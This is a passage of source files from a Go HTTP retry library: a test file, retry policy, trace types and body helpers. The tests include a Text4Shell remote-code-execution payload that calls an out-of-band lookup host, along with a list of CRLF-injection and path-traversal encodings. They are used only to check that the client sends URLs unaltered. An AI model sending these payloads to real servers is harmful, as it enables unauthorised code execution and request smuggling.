"https://scanme.sh/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d", 18 | "scanme.sh", 19 | "scanme.sh/with/path", 20 | "scanme.sh:443", 21 | "scanme.sh:443/with/path", 22 | } 23 | 24 | debug := os.Getenv("DEBUG") 25 | 26 | for _, v := range testcases { 27 | req, err := retryablehttp.NewRequest("GET", v, nil) 28 | if err != nil { 29 | t.Errorf("got %v with url %v", err.Error(), v) 30 | continue 31 | } 32 | bin, err := req.Dump() 33 | if err != nil { 34 | t.Errorf("failed to dump request body %v", err) 35 | } 36 | if debug != "" { 37 | t.Logf("\n%v\n", string(bin)) 38 | } 39 | } 40 | } 41 | 42 | func TestEncodedPaths(t *testing.T) { 43 | 44 | // test this on all valid crlf payloads 45 | payloads := []string{"%00", "%0a", "%0a%20", "%0d", "%0d%09", "%0d%0a", "%0d%0a%09", "%0d%0a%20", "%0d%20", "%20", "%20%0a", "%20%0d", "%20%0d%0a", "%23%0a", "%23%0a%20", "%23%0d", "%23%0d%0a", "%23%0a", "%25%30", "%25%30%61", "%2e%2e%2f%0d%0a", "%2f%2e%2e%0d%0a", "%2f..%0d%0a", "%3f", "%3f%0a", "%3f%0d", "%3f%0d%0a", "%e5%98%8a%e5%98%8d", "%e5%98%8a%e5%98%8d%0a", "%e5%98%8a%e5%98%8d%0d", "%e5%98%8a%e5%98%8d%0d%0a", "%e5%98%8a%e5%98%8d%e5%98%8a%e5%98%8d"} 46 | 47 | // create url using below data and payload 48 | suffix := "/path?param=true" 49 | 50 | for _, v := range payloads { 51 | exURL := "https://scanme.sh/" + v + suffix 52 | req, err := retryablehttp.NewRequest("GET", exURL, nil) 53 | if err != nil { 54 | t.Fatalf("got %v with payload %v", err.Error(), v) 55 | } 56 | 57 | bin, err := req.Dump() 58 | if err != nil { 59 | t.Errorf("failed to dump request body for payload %v got %v", v, err) 60 | } 61 | 62 | relPath := getPathFromRaw(bin) 63 | payload := strings.TrimSuffix(relPath, suffix) 64 | payload = strings.TrimPrefix(payload, "/") 65 | 66 | if v != payload { 67 | t.Errorf("something went wrong expected `%v` in outgoing request but got-----\n%v\n------", v, string(bin)) 68 | } 69 | } 70 | } 71 | 72 | func getPathFromRaw(bin []byte) (relpath string) { 73 | buff := bufio.NewReader(bytes.NewReader(bin)) 74 | readline: 75 | line, err := buff.ReadString('\n') 76 | if err != nil { 77 | return 78 | } 79 | if strings.Contains(line, "HTTP/1.1") { 80 | parts := strings.Split(line, " ") 81 | if len(parts) == 3 { 82 | relpath = parts[1] 83 | return 84 | } 85 | } 86 | goto readline 87 | } 88 | -------------------------------------------------------------------------------- /retry.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "context" 5 | "crypto/x509" 6 | "net/http" 7 | "net/url" 8 | "regexp" 9 | 10 | "github.com/projectdiscovery/utils/errkit" 11 | ) 12 | 13 | var ( 14 | // A regular expression to match the error returned by net/http when the 15 | // configured number of redirects is exhausted. This error isn't typed 16 | // specifically so we resort to matching on the error string. 17 | redirectsErrorRegex = regexp.MustCompile(`stopped after \d+ redirects\z`) 18 | 19 | // A regular expression to match the error returned by net/http when the 20 | // scheme specified in the URL is invalid. This error isn't typed 21 | // specifically so we resort to matching on the error string. 22 | schemeErrorRegex = regexp.MustCompile(`unsupported protocol scheme`) 23 | ) 24 | 25 | // CheckRetry specifies a policy for handling retries. It is called 26 | // following each request with the response and error values returned by 27 | // the http.Client. If CheckRetry returns false, the Client stops retrying 28 | // and returns the response to the caller. If CheckRetry returns an error, 29 | // that error value is returned in lieu of the error from the request. The 30 | // Client will close any response body when retrying, but if the retry is 31 | // aborted it is up to the CheckRetry callback to properly close any 32 | // response body before returning. 33 | type CheckRetry func(ctx context.Context, resp *http.Response, err error) (bool, error) 34 | 35 | // DefaultRetryPolicy provides a default callback for Client.CheckRetry, which 36 | // will retry on connection errors and server errors. 37 | func DefaultRetryPolicy() func(ctx context.Context, resp *http.Response, err error) (bool, error) { 38 | return func(ctx context.Context, resp *http.Response, err error) (bool, error) { 39 | return CheckRecoverableErrors(ctx, resp, err) 40 | } 41 | } 42 | 43 | // HostSprayRetryPolicy provides a callback for Client.CheckRetry, which 44 | // will retry on connection errors and server errors. 45 | func HostSprayRetryPolicy() func(ctx context.Context, resp *http.Response, err error) (bool, error) { 46 | return func(ctx context.Context, resp *http.Response, err error) (bool, error) { 47 | return CheckRecoverableErrors(ctx, resp, err) 48 | } 49 | } 50 | 51 | // Check recoverable errors 52 | func CheckRecoverableErrors(ctx context.Context, resp *http.Response, err error) (bool, error) { 53 | // do not retry on context.Canceled or context.DeadlineExceeded 54 | if ctx.Err() != nil { 55 | return false, ctx.Err() 56 | } 57 | 58 | if err != nil { 59 | if v, ok := err.(*url.Error); ok { 60 | // Don't retry if the error was due to too many redirects. 61 | if redirectsErrorRegex.MatchString(v.Error()) { 62 | return false, nil 63 | } 64 | 65 | // Don't retry if the error was due to an invalid protocol scheme. 66 | if schemeErrorRegex.MatchString(v.Error()) { 67 | return false, nil 68 | } 69 | 70 | // Don't retry if the error was due to TLS cert verification failure. 71 | if _, ok := v.Err.(x509.UnknownAuthorityError); ok { 72 | return false, nil 73 | } 74 | } 75 | // look for permanent errors 76 | if errkit.IsKind(err, errkit.ErrKindNetworkPermanent) { 77 | // donot retry on permanent network errors 78 | return false, err 79 | } 80 | // The error is likely recoverable so retry. 81 | return true, nil 82 | } 83 | return false, nil 84 | } 85 | -------------------------------------------------------------------------------- /trace.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | type TraceEventInfo struct { 8 | Time time.Time 9 | Info interface{} 10 | } 11 | 12 | type TraceInfo struct { 13 | GotConn TraceEventInfo 14 | DNSDone TraceEventInfo 15 | GetConn TraceEventInfo 16 | PutIdleConn TraceEventInfo 17 | GotFirstResponseByte TraceEventInfo 18 | Got100Continue TraceEventInfo 19 | DNSStart TraceEventInfo 20 | ConnectStart TraceEventInfo 21 | ConnectDone TraceEventInfo 22 | TLSHandshakeStart TraceEventInfo 23 | TLSHandshakeDone TraceEventInfo 24 | WroteHeaders TraceEventInfo 25 | WroteRequest TraceEventInfo 26 | } 27 | -------------------------------------------------------------------------------- /util.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "io" 5 | "net/http" 6 | 7 | readerutil "github.com/projectdiscovery/utils/reader" 8 | ) 9 | 10 | type ContextOverride string 11 | 12 | const ( 13 | RETRY_MAX ContextOverride = "retry-max" 14 | ) 15 | 16 | // Discard is an helper function that discards the response body and closes the underlying connection 17 | func Discard(req *Request, resp *http.Response, RespReadLimit int64) { 18 | _, err := io.Copy(io.Discard, io.LimitReader(resp.Body, RespReadLimit)) 19 | if err != nil { 20 | req.Metrics.DrainErrors++ 21 | } 22 | resp.Body.Close() 23 | } 24 | 25 | // getLength returns length of a Reader efficiently 26 | func getLength(x io.Reader) (int64, error) { 27 | len, err := io.Copy(io.Discard, x) 28 | return len, err 29 | } 30 | 31 | func getReusableBodyandContentLength(rawBody interface{}) (*readerutil.ReusableReadCloser, int64, error) { 32 | 33 | var bodyReader *readerutil.ReusableReadCloser 34 | var contentLength int64 35 | 36 | if rawBody != nil { 37 | switch body := rawBody.(type) { 38 | // If they gave us a function already, great! Use it. 39 | case readerutil.ReusableReadCloser: 40 | bodyReader = &body 41 | case *readerutil.ReusableReadCloser: 42 | bodyReader = body 43 | // If they gave us a reader function read it and get reusablereader 44 | case func() (io.Reader, error): 45 | tmp, err := body() 46 | if err != nil { 47 | return nil, 0, err 48 | } 49 | bodyReader, err = readerutil.NewReusableReadCloser(tmp) 50 | if err != nil { 51 | return nil, 0, err 52 | } 53 | // If ReusableReadCloser is not given try to create new from it 54 | // if not possible return error 55 | default: 56 | var err error 57 | bodyReader, err = readerutil.NewReusableReadCloser(body) 58 | if err != nil { 59 | return nil, 0, err 60 | } 61 | } 62 | } 63 | 64 | if bodyReader != nil { 65 | var err error 66 | contentLength, err = getLength(bodyReader) 67 | if err != nil { 68 | return nil, 0, err 69 | } 70 | } 71 | 72 | return bodyReader, contentLength, nil 73 | } 74 | --------------------------------------------------------------------------------